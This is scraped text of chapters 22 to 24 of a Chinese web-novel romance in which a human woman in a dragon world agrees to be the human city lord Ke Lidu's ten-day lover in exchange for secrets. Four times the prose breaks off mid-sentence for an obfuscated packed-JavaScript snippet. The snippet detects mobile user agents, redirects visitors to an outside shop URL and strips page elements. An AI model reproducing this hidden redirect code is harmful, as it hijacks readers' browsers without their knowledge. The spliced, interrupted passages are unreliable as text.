宫修又落回了地面，他带着从贾斑那儿得来的疑问，谨慎地开口问科立笃： “你真的有办法，让我恢复到原先的能力水平吗？” 闻言，肖卷卷瞳孔地震，连忙从宫修身上下来。 “对不起，我为刚刚和你说的话抱歉，请务必不要在意小肚鸡肠的小人之言。” 听到这句话，一开始科立笃毫无笑意的眼底，终于有了一丝波澜。 “无妨。既然贾斑告诉你们我可以为你们解开这些疑惑，那么我一定能帮到你们。”仙风道骨的男子微微侧头，看向一旁一改初态的肖卷卷： “不仅是他的力量，你的疑惑，我一样可以解答。” 宫修早就听说过，兑奇城的城主性格十分奇怪，整个人也喜怒无常，没人能猜透他究竟在想什么。别看他这幅人畜无害的模样，死在他手下的龙数不胜数。 因此，贾斑还特地嘱咐他们留意，依稀记得施倦也说过同样的话。 来的路上，宫修就发现了，兑奇城的龙并不多，不知道是不是城主有意为之。 “我认识你，宫修，佐野家族的私生子，对吧？”科立笃拿起手中的卷轴，眼尖的肖卷卷顾不上震惊，她瞄到了他手上卷轴里的内容。 卷轴里的字是用墨水写上去的。在龙界，这样的记录方式极其罕见，一般的龙都会选择用自己血脉的力量让信息印在载体上。难道科立笃血脉里的力量，和宫修一样是诅咒吗？ 宫修的身体不易察觉地颤抖了一下。这件事除了他们家的龙，没有龙知道，科立笃却一下就能说出核心要害。 看来他有几分真本领。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760853|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “还有你。”突然，白衣红带男子转头望向肖卷卷，他的眼里闪着诡异的光芒，仿佛要把肖卷卷吸进去。 “你是从人界穿越来的，对吧？” 一瞬间，寒意像一条响尾蛇，顺着肖卷卷的脊梁一路向上爬。肖卷卷背后的汗毛一根根全立了起来，科立笃瘆人的笑容直直地穿过她的眼皮，尽管她闭上了眼睛，那样的微笑还是钻进她的脑海里。 天旋地转，肖卷卷有一种在梦里听到别人问她是不是在梦中的不适感。 “难道你就不想知道，这一切究竟是为什么吗？”鬼魅的声音在脑中越放越大，捂住耳朵也无济于事，肖卷卷居然从中听出了一丝……怨念？ “好了，欢迎两位的到来，让寒舍蓬荜生辉。”科立笃挪开自己的目光，世界又变为肖卷卷熟悉的那个样子。鹤一般的男子脸上依旧带着得体的笑容。 “别着急，这些鄙人都会回答你们的，请先随我来吧，已经到了该吃饭的时间了。”科立笃主动拉开了桌子旁的椅子：“请坐。” “不好意思，请问可以为我们提供一身便装吗？”来的路上风尘仆仆，肖卷卷和宫修的衣服都在不同程度上有些脏了。 科立笃愣了一下：“当然可以，是我的疏忽。管家，带他们去，二位请。” 肖卷卷拉起宫修的手，捏了一下他的无名指，这是他们设定的暗号。 意思是，我察觉到了些许不妙的地方。 这建筑的陈设，科立笃方才说的话，他的卷轴和他的衣装，肖卷卷得争取些时间，让自己迅速理清这其中的关键。 宫修和肖卷卷进了同一间房间，背后科立笃的目光依旧紧紧锁住他们不放，只不过表情更加有意思了。 一直到进入房间，终于逃离了这令人窒息的目光，肖卷卷才算松了口气。 宫修从桌子上帮她把衣服拿了过来，肖卷卷只是挥了挥手，说让她缓缓。 科立笃的目光极其让肖卷卷不舒适，不知道为什么，看见科立笃的时候，肖卷卷总像看见了人界的纸人，心里下意识抵触。 “宫修……虽然你可能不相信，但这次你一定要听我说……”肖卷卷压低了自己的声音，“这条龙给我的感觉很不好，他确实很厉害，但我并不认为他值得我们百分之百信任，尤其是他看我……”肖卷卷欲言又止。 “不像是龙看人的表情。” 肖卷卷怀疑，他是不是潜藏了很久的、会猎杀人类的龙。 白红相间的房间带给肖卷卷的压迫依旧没有消失，宫修走向她，握紧了她的手： “肖卷卷，你的感觉很敏锐。” “接下来我要告诉你一件事，是我从贾斑那儿听来的，有我在你身边，你千万别害怕。” 窗外似乎有流水声，滴答滴答，白墙上的红飘带有压迫感地朝肖卷卷铺天盖地般倾倒下来。 “科立笃，今年二十六岁。” 肖卷卷的瞳孔猛地收缩，又重新放大。她不确定地看着宫修，仿佛他是个陌生人。 “你的意思是……”仿佛在呢喃，又仿佛在呓语。 宫修拍了拍她的肩膀，点了点头。 “是的，科立笃他——” 是个人类。 22. 陪我谈一场恋爱 “咚”，肖卷卷下意识往后退了一步，一脚踩到了身后刚刚脱下来的袜子，一屁股摔在地上，又迅速爬了起来。 “他是——”肖卷卷的后半句话没有说出口，但彼此间都心知肚明。 他既然是人的话，怎么会成为龙界的管理者呢？ 其实肖卷卷早该料到的，和贾斑那么熟的人，绝非等闲之辈。 “叩叩叩。”屋外有人在敲门，科立笃犹如清风拂面的声音传了进来： “二位衣服换好了吗？” 肖卷卷咽了口口水，让自己的声音听起来尽可能冷静： “还没有，宫修不太会穿这身衣服，我帮他系一下腰带。” 屋外脚步声越来越远，科立笃大概是走了。肖卷卷松了口气看向宫修，她也不算完全说谎，宫修的确穿不明白这两块布。 “转过身来，我帮你。”这个时候，肖卷卷看起来倒真的有点姐姐的架势了，“真是笨手笨脚……” 幸好宫修是真的不会穿这身衣服，因为就在他们说这几句话的时候，科立笃悄无声息地走了回来。 只要他愿意，他完全可以隐藏自己全部的脚步声。方才发出越来越远的声音，完全是故意让肖卷卷和宫修放松警惕的。 确认他们并没有在骗他，仙风道骨的男人脸上露出了一丝满意的笑容。 …… 为宫修穿好衣服后，肖卷卷与他一同走了出去。不得不说，科立笃选的衣服质感都很不错，也很匹配肖卷卷本人的气质。 怪不得他是龙界的人，审美和人类终于趋于一致了。 “吱嘎——”门缓缓打开，肖卷卷一袭淡粉色的衣装，加上腰上流光溢彩的衣带，头发也梳了起来，在脑后盘成发髻，还插了一根琉璃发簪。 而宫修一袭黑衣，腰带同样也是金色的。肃杀的脸上多了几分说不出来的韵味。 两人一起走出来的时候，科立笃不禁在门口鼓起掌来。 “不愧是贾斑那家伙看重的人类，的确有些与众不同。” “谢谢夸奖。”有了一定的心理建设，肖卷卷比一开始镇定多了。 她想，既然科立笃是人类，那么一切诡异的地方都能够说得通。 自己和他同为一种物种，对方手段再狠辣，也敌不过身旁的龙。 能在龙界立足的人啊…… 怪不得他的瞳孔是黑色的，怪不得第一次见到他时他身上的气息如此熟悉，从前肖卷卷一直不相信世界上有气味识人这种说法。但自从到了龙界，闻惯了龙的味道，人的气息一出现，就算第一时间没有察觉，心中也会感觉奇怪。 怪不得他用笔写字呢，原来是没有龙界血脉的力量。 “请坐。”科立笃的一切行动都显得彬彬有礼。的确，比起天生拥有强大力量的龙，人，更懂得低调和隐藏。 这对肖卷卷来说是一把双刃剑，其他的龙心机也许没有那么深，而眼前的这个男人，和自己同为人类，却能做到肖卷卷不能做到的许多事。 一定有他的过人之处。 所以接下来每句话说出口的时候，都要小心。 来吧，这是属于人类的战争。 “如果我们想要知道，怎样才可以治疗好宫修，以及我为什么来到这个世界，需要给你什么样的报酬呢？” 不博弈就是最好的博弈，如果弯弯绕绕的心思胜不过对方，不如直接坦白问他事情的关窍。 果然，面前的男人神情一愣，大概他也没有想到，肖卷卷就这样直接了当地把需要商榷的事摆在明面上。 “报酬的事先不急，总之你们需要知道的一切，我都会找个合适的时机告诉你们。” 显然，科立笃不接受这样的直接交换。 如果不是因为肖卷卷是人类，科立笃绝不会答应贾斑的要求。 …… 中部城主的宴会上，科立笃看着面前与龙相拥而泣的人类嗤笑一声，扭头离开。 “勾起了你的伤心往事？” 那个金色头发的狠戾男人，半开玩笑半认真地拦住了眼前往房间走去的科立笃。 “就凭这幅画面了吗？还差的远呢。” 科立笃看了一眼贾斑，他的老熟人。 贾斑看着鹤一般脱离于尘世的男人，这个人的阴险狡诈程度，只有交涉过才会知道，所以一开始贾斑并不打算介绍肖卷卷和他认识。 他确信，肖卷卷一定会吃亏。 可如果要遵从肖卷卷的意思，学着多听一点别人的想法的话，他想，肖卷卷更愿意明明白白地活着，而不是糊里糊涂地享受着安稳日子。 况且他看出来了，自己终究比不过他身边那个龙小子。 既然有关于治好那个龙小子的消息，肖卷卷早晚都是要去的，倒不如自己先帮她把路铺好，好让这两人到时候少吃点亏。 “你倒是悠着点，别把他们俩坑太惨。”贾斑玩着手上的高脚杯。 提醒过后，也许科立笃能有所忌惮。 “要是我玩的太过分，你还能跟我闹掰不成？”科立笃像老狐狸一样挑起自己的嘴角： “我们可是那么多年的兄弟……” “别，你才几岁，我几百岁了，交情之类的，还得再养养呢。”贾斑一介武人，为了肖卷卷也是文了，要是以前碰到这样公然挑衅的人，他绝对会把这只老狐狸揍飞。 而现在，他的话在嘴里嚼了几遍才说出口： “我的意思是，布伽辛城永远在她的身后，能知道的……” …… 呵，真是麻烦，科立笃在那一刻想起他的母亲。 要是他是一个完整的龙，或者是一只完整的人，处境和现在一定大有差别吧。 他承认他对于肖卷卷这个完全意义上的人很感兴趣，他想看看人究竟是怎样的一种生物，为什么能让龙这样痴迷。 同样拥有人的血统的他失去了龙的能力，却也同时失去了龙的保护，成为不伦不类的怪胎，在这个世界活的那么艰难。 他真的很想知道，这究竟是为什么。好奇到想要把肖卷卷的心脏剖解，看看里面究竟装的什么让龙觊觎的宝物。 眼见着面前的人又眯起双眼，肖卷卷心里十分没底。 归根结底，自己处于劣势地位，有求于对方，从她在公司工作的经验来看，这种情况谈判成功率大概只有百分之二十。 科立笃突然站了起来，他朝肖卷卷走了过去，宫修立刻警觉起立，拦住了他的去路。 “你想干什么？” “别那么紧张。”浅灰色头发的少年面色苍白，脸如鬼魅般贴了过来。 肖卷卷身上，很浓的花香。这身衣服果然很衬她。 “需要给我的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760854|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西，我单独告诉你。”在肖卷卷快要承受不住这纸扎人一样的面容是，科立笃直起腰来： “如何？接不接受，请你自己考虑。” 说完，科立笃头也不回地朝走廊深处走去，白色的身影很快消失在一个走廊尽头的房间里。 肖卷卷犹豫了一会，最终还是站了起来，刚迈出一步，身后伸出一只手，将她整个人拉进和火烧一样暖和的怀抱里。 ——宫修将她整个人从身后抱住，不肯松手。 “别去……”带着一丝生硬的语气，宫修开口，声音却不自觉有些哽咽： “他不是什么好惹的家伙，我可以一辈子都不恢复力量，除了其他强悍的龙，保护你一个人一定是够的。” 龙是崇尚力量的生物，没有人会希望自己的力量变弱，更别说一开始就拥有强大力量的宫修。 肖卷卷想象不到他刚被挑断龙筋那会，整个龙会有多消沉。 “这样可以吗？”肖卷卷轻声对身后的龙说，她温柔地捏了捏他的手。 “当然，我们走吧，去其他能容得下我们的地方，隐居也好，从此以后躲在山林中也好。”毛茸茸的脑袋蹭着肖卷卷的脖子： “待在这儿太危险了，我不想让你以身犯险，只为了救我……” “可是，这样对我来说不可以哦。” 在宫修震惊的目光中，肖卷卷缓缓离开他的怀抱。这一切都被房间里的科立笃注视着，他的眼神晦暗不明。 “因为，他不仅有怎样恢复你力量的消息，也知道我的来历呀。” 如果不弄清楚这一切，说不定什么时候就会成为隐患呢。 “放心吧，就算我出事，你也是会来保护我的，对吧？” “嗯。”宫修犹豫了一小会，终于松开自己的爪爪。 他在自己人类的教导下，一次又一次学会审时度势与放手。 肖卷卷走向走廊尽头，还不忘和宫修挥一挥手： “拜拜~” …… “吱嘎”，肖卷卷发现，虽然科立笃看起来不像是差钱的样子，他屋子里的所有门推起来却都吱嘎作响。 是出于防备的心理吗…… “我来了。”一袭粉衣的人儿走入仙风道骨的少年房间，少年的嘴角微微向上扬了点弧度。 他的房间不开灯，却莫名亮的厉害。肖卷卷看向他，鼓起了勇气： “你……想让我做什么？” 无论怎样，都是要答应的了。 肖卷卷有想过，对方会不会是个科学怪人，想拿自己的身体做实验，用来研究搞不懂的问题。 “叮当”，哪来的风铃声。 房间的地板突然开始震动，紧接着整个屋子的顶徐徐打开。科立笃的房子不是城堡，这也是肖卷卷唯一见到的一个没有二楼的龙界建筑。 转眼间，周围的环境完全变了个样子，两人站在一片荷花池中央的亭子里。 原来是河灯的亮光。 身旁，萤火虫纷飞着，少年眼中多了丝独属于人的情意。 “这些龙懂什么，真正人类的浪漫，岂是这群只会把楼往高了盖的龙能明白的？” 科立笃好像很讨厌龙的样子。 温柔的手，微凉的温度。他的食指穿过肖卷卷的长发： “我要你，做我十天的恋人。” 23. 怪不得独自一人 “就、就这一个要求吗？”肖卷卷有点怀疑自己的耳朵，毕竟她在人界可不是多么受欢迎的女性，想不到交换条件居然如此简单。 为了能得到信息，肖卷卷本来已经做好了掏心掏肺的准备呢…… 物理意义上的掏心掏肺…… “如果你到时候想和我缔结某种契约的话，要看我的满意程度。”少年悠悠倒下，慵懒地靠在沙发上。 “那我必须答应你啊兄弟！”肖卷卷喜出望外，龙的要求都这么简单吗？早知道这样，当初就不和宫修那么煽情了。 而且还只要谈十天，简直赚翻了！ “很好，那么今天你就搬来我的房间。”看着肖卷卷略微有些犹豫的神色，仙气飘飘的科立笃伸出食指，轻轻挑了一下她的下巴： “别紧张，我不会对你做什么的。只是情侣睡在一张床上，这应该是件很正常的事吧？” 睡不睡一张床其实都无所谓，科立笃只是不想让肖卷卷和宫修待在一起而已。 “去收拾收拾，顺便和你的龙解释一下情况。” 很奇怪，当肖卷卷答应科立笃的那一刻，科立笃对她的态度莫名柔软了很多，和一开始诡异的样子不同，他的眼里瞬间多了一丝能让人看出来的真情。 肖卷卷不由得有些佩服他，居然连爱这种东西都可以演出来。 …… “修！”和宫修熟悉了之后，肖卷卷在轻松或者快乐的时间里，喜欢称呼自己的龙为“修”。 据她所说，这样听起来就显得宫修很快。 一提到快，宫修原本还是很开心的，允许肖卷卷叫他“修”。可自从在中部城主的宴会上和贾斑聊过天以后，他莫名不想让肖卷卷承认自己是很快的龙了…… “卷卷，怎么样？”肖卷卷刚从房间出来，一条漆黑的龙火速飞到她身边，对着她用头蹭了蹭，顺便舔了一下她的脸蛋。 “非常简单的任务！”肖卷卷一副胜券在握的架势，“只需要我当他的十日恋人就好！” “咔嚓咔嚓”，好像有什么东西碎掉了。 诶，奇怪，明明不是因为基因才喜欢人类肖卷卷的吗……为什么自己心里涌起一股难以名状的情绪…… 对啊，自己一开始只是不想抵抗基因而已。 喜欢人类的喜欢，和缔结契约的喜欢，归根结底并不是同一种情绪。 在龙界，喜欢人类就和喜欢自己的宠物一样，这样的喜欢源自于物种并不相通、基因里激发出的疼爱。事实上，在龙界出现龙“爱”上人这样的事，可以算是大新闻了。 迟钝的宫修直到这时，才有些后知后觉。明明自己的人类和其他人类谈恋爱，自己应该高兴才是。 毕竟两个都是小宠物啊，只要不疏远了自己就好…… 这样的占有欲……大概是因为…… 因为什么呢…… 宫修晃了晃脑袋，肖卷卷给了他一个大大都拥抱，告诉他，在自己和科立笃相处的过程中，宫修是自由的，可以站在离他们十米外的位置，确保肖卷卷的安全。 “好。”这一次，肖卷卷的牺牲主要是为了谁，宫修心中有数。 不能为她提供助力，至少现在，宫修绝不能成为她的绊脚石。 …… “舍得回来了？” 左脚刚踏入科立笃的房间，肖卷卷抱着的衣服就被他亲自接走，放入弥漫着花香的衣柜。 床被布置的和婚床一样，被子有些旧了，但还是能看出这床被子被制作出来时的用心。 花纹和布料，都像是精心挑选、精心绣上去的。 科立笃就像是一个真正人类世界的丈夫，等待着自己新婚妻子回房。他的眼神热烈到，肖卷卷根本不敢正视他。 “你可以唤我夫君，也可以唤我小竹马。”肖卷卷在床边坐下，被子的松软让她瞬间放松下来了。 “竹马是我的母亲给我起的小名，她说，在这个世界为我找青梅十分困难，不过，以后如若我有自己的伴侣，唤她青梅也不错。” 修长的手指玩弄着肖卷卷的头发，香气缭绕的男人穿着薄透布料所做成的睡衣，内里精壮的肌肉若隐若现。 “不了，你叫我卷卷就好。”肖卷卷乖巧懂事地坐在一旁，美男计对她一点用都没有。 这可是龙界最冷血的人类，区区色诱，对付起来小菜一碟。 “好，卷卷。”科立笃一下变得这么好说话，肖卷卷还有点不适应。 两人并排躺着，肖卷卷进入梦乡实在很迅速，也是，科立笃的熏香连龙都抵挡不住。 …… 一夜无梦，肖卷卷认为这是个好兆头，可到了第二天，她立刻后悔，昨天还是太天真了。 怪不得科立笃这么多年找不到一个恋人呢。龙界的人是少，那也不是完全没有啊。 但是就凭他这个性格，能不靠豪取抢夺让一个普通人类正式留在他身边，简直比登天还难。 因为这家伙，完全就是个地雷男啊！！ “卷卷，早上为什么没有给我一个早安吻，明明这是正常的情侣可以拥有的，不是吗？” 清晨，终于习惯了不被闹钟叫醒的肖卷卷自然睡醒后，身旁的男人睁着眼睛，一动不动安静地看着她。 没人知道科立笃醒了多久，从他醒过来开始，科立笃的目光就没有离开过肖卷卷的脸。 以至于肖卷卷醒来后，完全没发现身旁的人居然是醒着的。她迷迷糊糊揉了把眼睛，双脚一蹬就准备起床。 然后被科立笃男鬼般的发言吓得连连抱歉： “对不起，对不起……我也没谈过恋爱，正常情侣该是这样的吗……” 一瞬间，科立笃温柔的表情瞬间阴沉起来，看向肖卷卷的目光极为严肃： “给我一个早安吻，你这个愚蠢的女人，完全没有戳中我满意的那个点。” 天呐，一起床就给出那么大的考验吗？肖卷卷连忙往他脑门上亲了一口，打算去卫生间洗漱。 “亲完就走了吗？你还是没有戳到我的心上。”碎碎念的科立笃紧跟着她走入卫生间，“你明明应该邀请我一起去洗漱，我从醒来之后等了你半个多小时，就是为了和你一起站在镜子前刷牙。” 不是大哥，你这也太闲了点吧？！肖卷卷惊讶地忘了呼吸，请问这个男人是有什么强迫症吗？ “好好好，小竹马，我邀请你。”还好肖卷卷记得对他的称呼，夫君是实在叫不出口了，小竹马还是可以叫一叫的。 “哼。”如此这般，科立笃才肯慢悠悠地从床上爬下来。一把抱起又被他吓到一次的肖卷卷， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763652|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年愉悦地朝卫生间走去。 吃早饭的时候，肖卷卷又犯了三次“错误”：没有问小竹马吃不吃鸡蛋，没有问故意让自己被烫到的小竹马粥烫不烫，以及没有坐在小竹马的腿上吃饭。 前两个要求，肖卷卷都可以理解，最后一个实在超出了她的理解范畴： “喂……我坐在你腿上吃，你不会被我压垮吗……” 真是没脾气了，肖卷卷只好干笑着和这位地雷男赔罪。 看来这十日恋人也不是好当的，科立笃对于恋人的定义好像和其他人都不太一样，他一定要时时刻刻和另一个人腻在一起，无论做什么都要手牵手。 一天下来，怕是两个人的手都要黏在一块分不开了。 “你这个愚蠢的女人！你没有戳中我的内心！！” “愚蠢的女人！！” “我不满意！！” 经历了一个上午的时光，肖卷卷终于悟出了一点关于科立笃要求的总结了。 他一定要两人之间的心理关系亲近到胜过亲生父母，这样才能满足这个小处男对于爱情的幻想。 肖卷卷突然也不是那么害怕科立笃了，他只是一个活在自己世界里的可怜人而已，没有被爱过，也没有爱过别人，所以努力地模仿别人的爱情，用他拙劣的演技。 算了算了，自己就陪他好好玩玩吧。 肖卷卷这样想着，下午的进程就顺利了很多。两人来到荷花塘中央的亭子上。这一天从早上开始，科立笃的眼睛就一直亮晶晶的，恍惚之间，肖卷卷有时会分不清他眼中的感情是真是假。 虽然这个男人情绪挺不稳定的，但肖卷卷能看出来，在他身上唯一一个明显的优点，就是科立笃的美商很高。 比如说荷塘中央的凉亭，莲花河灯飘在水面上，随着风一路向远方飘去。科立笃的指尖掠过肖卷卷飞扬的发丝，在这样纯粹欣赏美的时刻，两个人一个都不会说话破坏氛围。 毕竟肖卷卷也是人类，能体会到这其中震撼到让人说不出话来的美来。 一双新人，一白一粉，伫立荷叶莲花间。 “我还准备了船。”不知道过了多久，身旁的男人终于开口。 肖卷卷咽了口口水，许久不见这样的美景，今日猛地一瞧，居然有些想家了。 科立笃微微侧头，看着肖卷卷沉思着的表情。她的睫毛轻轻颤动着，科立笃能理解她在想些什么。 所以这一次，尽管没有得到肖卷卷的回复，他并没有生气，也没有大吼大叫，去破坏这样的氛围。 两人移步到一艘小船上，在荷叶中飘飘荡荡，肖卷卷放松地躺在科立笃的腿上，梦幻的景色让她想起了过去和家人的相处经历。 小河清清，炊烟袅袅，好像是很久很久以前的事了。 那双微凉的手，又一次撩起她额前的碎发。扪心自问，在遇到科立笃之前，肖卷卷真的没有感觉过孤独。 不仅仅是因为她已经习惯了一个人，更是因为在这个世界，肖卷卷发现，哪怕是遇到了“人类”，她们与自己也无法产生心灵上的共鸣。 那些人类，已经变成了养尊处优的宠物。 那么她该怎么办呢…… 芦荡间，夕阳西下。 啊，是久违的—— 家的感觉。 24. 最像人类的一天 等肖卷卷从睡梦中醒来时，天已经完全黑了，而小船停在湖畔旁，她的头还是枕在科立笃的腿上。 此时的科立笃好像还没发现，自己腿上的女孩已经苏醒了。他轻轻地哼着一首歌谣，曲调凄美又忧伤。 “天边白鹭飞呀飞，飞到芦荡不见悲。” “转时明月挂船头，离家孩子无人催。” 浅灰色的头发在风中飘啊飘，小舟随着风摇啊摇。 白衣裳让看似清瘦的男子愈发孤独，尽管他身边睡着一个女孩，那种孤单感依旧无法掩盖。 肖卷卷只来到龙界大概几个月，而他从小在这儿生长，活了二十多年。 没有龙的力量，没有对他的关爱，居然也就这样当上了城主，甚至还让一些龙愿意为他办事。 肖卷卷突然好奇，科立笃的家在哪里？ “你醒了？”歌声停止，那双黑色的瞳仁注视着自己，肖卷卷心中打了一下颤。 真是个奇怪的人呢……明明有时那么温柔，却又总是因为什么事情暴怒，阴晴不定。 怪不得许多龙都害怕他，确实，肖卷卷觉得龙界的龙都很坦率，从始至终一副样子。 这样多变的人，大概是不受欢迎吧。 也是，科立笃本来就被许多龙讨厌着啊。 爱这种东西，并不是轻易能够拥有的。 “嗯，刚才我睡了很久吗？”肖卷卷不好意思地支起自己的身子，“抱歉啊，你的腿大概被我枕麻了……” 浅灰色头发的少年望向远方，声音如同睡梦中的呓语。 “没关系，你能枕在我的腿上睡着，就说明你心里开始接受我了啊……” “况且，正是因为你睡着了，我才能看到夕阳西下时如此震撼的美景。” 肖卷卷下意识往远处看，却什么都没看到。 “笨，现在太阳早就下山了，当然看不到那样美丽的景色啦。”少年并没有正视她，眼神依旧放在远处的星星上。 肖卷卷松了口气，现在科立笃的心情好像还不错，大概不会找自己的麻烦了吧。 “卷卷，你是不是想家了？” 轻声的呢喃，传入肖卷卷耳中。她猛地站了起来，小舟在湖面上摇晃了几下，一汪春水被搅动。 “为什么这么说？” “你在睡梦中，流了不少眼泪呢。”科立笃笑盈盈地把披在身上的袍子拉开，露出腿上的水渍： “把我的裤子都哭湿啦。” 看到他裤子上的印子，肖卷卷慌忙摸了一把自己的脸颊，啊，湿湿的，果然是哭过了。 “是我的歌声过于凄惨，才让你在睡梦之中都被打动了吗？”少年好听的笑声在夜空中回荡着，激起不远处的几只觅食的鸟儿。 “或许我该对你说句抱歉？” 一首歌就能让他良心发现吗？肖卷卷心中还有些怀疑，考究地盯着科立笃防备了半天，发现他并没有在试探自己的意思，这才微微放心下来一点。 “想家的人啊……这样的天空中，要是放些烟花就好了呢……” “按妈妈那儿的时间来算，现在也快要过年了吧……” 在龙界，“年”这个概念，也被漫长的寿命所模糊了。自从到了龙界，肖卷卷对于人类追求的长生产生了一点不同于以往的怀疑，活那么长时间，真的比现在来的快乐吗…… “管家，今年是该准备准备了呢。”科立笃朝管家招了招手，给了他自己早就准备好的清单。 是该好好过个年啦。 过去的几年里，科立笃一直觉得过年不再有意义，毕竟龙的生命那么长，多长一岁对于他们来说，不是什么值得庆祝的事情。 只有当生命如同昙花一现般短暂之际，才会对所剩无几的时光有敬畏之心。 是因为自己想家了，所以科立笃对自己心生出几分怜悯来了吗？ 肖卷卷来不及多想，身体已经随着科立笃的牵扯下了船。一个黑色的、落寞的影子，在凉亭上一闪而过。 如果说，肖卷卷躺在科立笃腿上睡觉的那段时间里，宫修都咬牙切齿地仇恨着科立笃的话，那么在看到肖卷卷的眼泪后，他彻底安静下来了。 他从来没想过，肖卷卷的潜意识里其实是不快乐的。龙的头脑非常简单，只要把自己所拥有的全部东西都交给对方，对方大概就能露出笑颜。 以至于到现在，宫修还不知道肖卷卷最喜欢什么东西，她的内心究竟在想什么。 这是他的失职，宫修有些愧疚。肖卷卷是他见过的最坚强的人类，他从没见她掉过眼泪。 所以他下意识地认为，她一点都不难过。 既然科立笃知道同为人类的肖卷卷在想什么，那他姑且就看看吧。 看看这两人，究竟真正需要的是什么样的支持。 …… 晚风拂面，睡醒的肖卷卷神清气爽，回到房间里洗了个澡，擦头发的时候，已经能闻到屋外的饭香了。 一切都太正常，正常到有些不正常了。肖卷卷不止一次恍惚过，自己是不是根本就没有来到龙界，只是到朋友家休了一次很长的假而已。 这是这么多天以来，肖卷卷过得最像人类的一天。不是九九六工作制的倒霉人类，是她小时候生活在乡下，过着平凡乡村生活的老式人类。 “叩叩叩。”门口传来了科立笃的敲门声，他轻声细语地询问着肖卷卷，需不需要自己帮忙，因为马上要吃晚饭了。 “不用啦，我很快就出来。”换了一身橘色的衣服，肖卷卷迅速把头发梳了起来，奔向最宽敞的客厅，那里饭菜已经摆好。 “给。”科立笃递给她碗筷，“想吃多少自己盛，饭在电饭煲里。” 天呐，肖卷卷已经多久没有听过电饭煲这个名词了。 当时只道是寻常，如今再回忆起，只觉得那时的生活好像还挺让人怀念的。 吃完一顿普通的晚饭，仆人去洗碗，肖卷卷倚在沙发上打盹，却见科立笃已经穿戴好了衣物。 “你要出门？”肖卷卷看向他，随口一问，倒真有点老夫老妻之间询问对方的架势了。 “嗯，你要一起吗？出去溜溜弯。” “好啊。”肖卷卷以前也不是一个总喜欢窝在高楼大厦里坐着的人，她更乐意去外面走走逛逛，就当作消食了。 “我们捉萤火虫去。”科立笃露出一个有些得意的表情：“比赛，来不来？比谁一个小时抓的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768421|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多。” 说起这个，肖卷卷可不困了： “来就来！我告诉你，我小时候可是抓萤火虫高手呢！” 随手抄起网兜，这两人就这样风风光光地跑出去抓萤火虫了。 “我喊开始，我们再一起开始啊，你不许抢先。”肖卷卷的斗志完全被激发出来了，整个人活泼生动了很多，拿着瓶子准备悄悄抓几只，毕竟自己已经好久没抓过了，害怕等会抓不赢科立笃。 没想到科立笃把她拦了下来，让她等一会儿。肖卷卷瞬间紧张，该不会看穿自己的诡计了吧？ 浅灰色头发的少年弯下腰，先撩了一把自己的衣摆，把它们全部系到上面去，随后再蹲下身，帮肖卷卷把衣服裤子全部挽了上去。 “既然要开开心心的玩，就不能被衣物绊住手脚。”衣服弄脏是其次的事情，科立笃最害怕的是肖卷卷把自己绊倒。 “准备，开始！” 两人奔走在田野之中，肖卷卷巧妙地用一只萤火虫吸引另一只萤火虫，很快抓了满满一瓶。 往旁边一看，科立笃瓶子里还很空，只有零零星星的几只，在他开瓶子准备抓另一只的时候，那可怜的几只萤火虫还全部飞出去了，弄得肖卷卷放声大笑。 “你这个愚蠢的女人！在笑什么？萤火虫都被你吓跑啦！”少年面色被气的红润了起来，原本苍白的脸现在一点都不吓人了。 “欸欸欸，你可别赖我，分明是你自己放跑的！”这口黑锅肖卷卷可不接，“冤枉我？没门！” 眼见着自己的地雷小竹马脸色阴沉的和马上要下雨了似的，肖卷卷连忙改口： “不过，你要是……求求我的话，我可以分你几只……” “想都别想！”哎呀呀，科立笃真急了，好听如风嚣的声音中夹杂了几分哭意：“抓不到的话，我就先回去了。” “好好好，我现在还是你的合约恋人呢，那什么，再陪我玩会呗，我给你几只萤火虫行了吧？” 肖卷卷伸出手，把科立笃手中的瓶子拿了过来，一口气抓了好几只：“还你。” 